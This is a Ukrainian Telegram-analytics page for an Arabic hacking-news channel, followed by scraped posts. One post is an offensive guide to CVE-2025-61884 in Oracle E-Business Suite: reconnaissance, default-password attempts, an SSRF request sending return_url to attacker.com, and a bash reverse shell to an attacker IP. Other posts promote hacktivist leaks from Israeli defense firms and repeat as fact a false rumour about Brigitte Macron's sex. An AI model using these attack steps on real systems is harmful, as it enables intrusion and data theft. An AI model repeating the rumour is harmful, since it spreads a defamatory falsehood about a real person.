Hacker News
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
Показати більше📈 Аналітичний огляд Telegram-каналу Hacker News
Канал Hacker News (@hackernewsar) у мовному сегменті Арабська є активним учасником. На даний момент спільнота об'єднує 13 297 підписників, посідаючи 9 576 місце в категорії Технології та додатки та 5 734 місце у регіоні Саудівська Аравія.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 13 297 підписників.
За останніми даними від 26 червня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 9, а за останні 24 години на 0, загальне охоплення залишається високим.
- Статус верифікації: Не верифікований
- Рівень залученості (ER): Середній показник залученості аудиторії становить 15.29%. Протягом перших 24 годин після публікації контент зазвичай збирає 5.40% реакцій від загальної кількості підписників.
- Охоплення публікацій: В середньому кожен допис отримує 2 033 переглядів. Протягом першої доби публікація в середньому набирає 718 переглядів.
- Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 17.
- Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
Завдяки високій частоті оновлень (останні дані отримано 27 червня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.
لا سبيل للتخفي بعد الآن#HackerNews #HandalaHack
الشعاع الحديدي هو نظام دفاع جوي بالليزر الموجه طورته شركة رافائيل وتم الكشف عنه في 11 فبراير 2014.ودخل الخدمة في الجيش الصهـيوني في 17 أغسطس 2020.صمم لتدمير الصواريخ قصيرة المدى والقذائف.نشرت المجموعة عدداً من الوثائق والصور قالت إنها حصلت عليها من خوادم تابعة لشركات صهيـونية عاملة في قطاع الدفاع، بينها شركة «مايا» المتخصصة في الصناعات العسكرية. كما تضمّنت الملفات المسربة صوراً لعقود موقعة بين الجيش الصهيـوني وعدد من الجهات الدفاعية في أستراليا ودول أوروبية، ما يبن مدى اختراق البنية التحتية الدفاعية الصهيـونية. تعد "MAYA" مسؤولة عن الأبحاث والتطوير لصالح شركات كبرى مثل "إلبيت سيستمز" و"رافائيل"، الذراعين الصناعي والتقني لوزارة الدفاع الصهـيونية. #HackerNews #CyberIsnaadFront
وأثار جنس بريجيت الكثير من الجدل حيث يرى الكثيرين أن السيدة الأولى الفرنسية ولدت ذكرًا وفقًا للكثير من التقارير حيث كانت تحمل الاسم "جان ميشيل ترونيو" Jean Michel Trogneux وقامت بتغيير جنسها واسمها.#HackerNews
text /OA_HTML /OA_HTML/RF.jsp /OA_HTML/AppsLocalLogin.jspفحص البورتات الشائعة: غالبًا ما تُنشر صفحات تسجيل الدخول EBS على منافذ 8000 و 8001 و 8080 و 4443 و 1521 وغيرها. استغلال إفصاحات النظام (Error Messages, Banners): قد تعرض صفحة الدخول أو الأخطاء تفاصيل عن الإصدار أو اسم التطبيق (Oracle Applications/Oracle E-Business Suite). الفهارس والتسريبات: قد تظهر عناوين الأنظمة المكشوفة من خلال فهارس البحث أو تسريبات بيانات الشركات. محاولة الوصول عبر كلمات مرور افتراضية: بعض المؤسسات تُبقي حسابات/خدمات بصلاحيات افتراضية دون تغيير كلمات المرور الأصلية. طريقة الاستغلال: يكفي إرسال طلب HTTP إلى الرابط vulnerable يضم رابطًا خبيثًا في حقل return_url مثل:
text
/OA_HTML/configurator/UiServlet?return_url=http://attacker.com/evil
فيقوم النظام بتنفيذ الطلب وإرجاع البيانات أو تنفيذ كود خبيث أحيانًا إذا تم دمج الثغرة مع طرق حقن أخرى.
النتيجة عند الاستغلال:
الوصول غير المصرح إلى بيانات حساسة من النظام أو الشبكة الداخلية.
في بعض السيناريوهات، يمكن توسعة الهجوم ليصبح تنفيذ أوامر عن بعد (RCE) من خلال حقن قوالب XSL أو هجمات CRLF.
ملخص عملي للسلوك التقني:
المهاجم يرسل رابط طلب HTTP مثل:
text GET /OA_HTML/configurator/UiServlet?return_url=http://malicious-site.com/payloadفيستجيب الخادم ويُنفذ الطلب، ما يسمح للمهاجم بتنفيذ هجمات داخلية أو تزوير مصادر البيانات أو الحصول على بيانات سرية. في بعض الحالات يقوم المهاجم بدمج SSRF مع حقن قوالب XSL أو هجمات CRLF، فيصبح بإمكانه رفع web shell أو تنفيذ reverse shell عبر أوامر مثل:
text
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
#HackerNews #Oracle #CVE_2025_61884كلمة أوراكل مشتقة من الكلمة اللاتينية oraculum وتعني "العرافة" التي تمتلك المعرفة ولديها إطّلاع على الأمور الغيبية.#HackerNews #DigitalID #الهويةـالرقمية #العبوديةـالرقمية
وذكرت مجموعة القرصنة الروسية Lynx أنها تمكنت من الوصول إلى ذاكرة التخزين المؤقت لملفات بحجم 4 تيرابايت عن طريق اختراق شركة المقاولات والصيانة والبناء Dodd Group المتعاقدة مع وزارة الدفاع، وقالت الشركة إن هجومًا إلكترونيًا أدى إلى الوصول إلى أنظمتها الداخلية.وصرح الكولونيل "فيل إنغرام" لصحيفة ذا صن البريطانية أن هجومًا بهذا الحجم سيُثير قلقا بالغا في الولايات المتحدة، وتابع: «أي معلومات حساسة، بدءاً من رسائل البريد الإلكتروني وحتى أرقام الهواتف المحمولة، ستكون مفيدة لأعدائنا». #HackerNews
Вже доступно! Дослідження Telegram за 2025 — головні інсайти року 
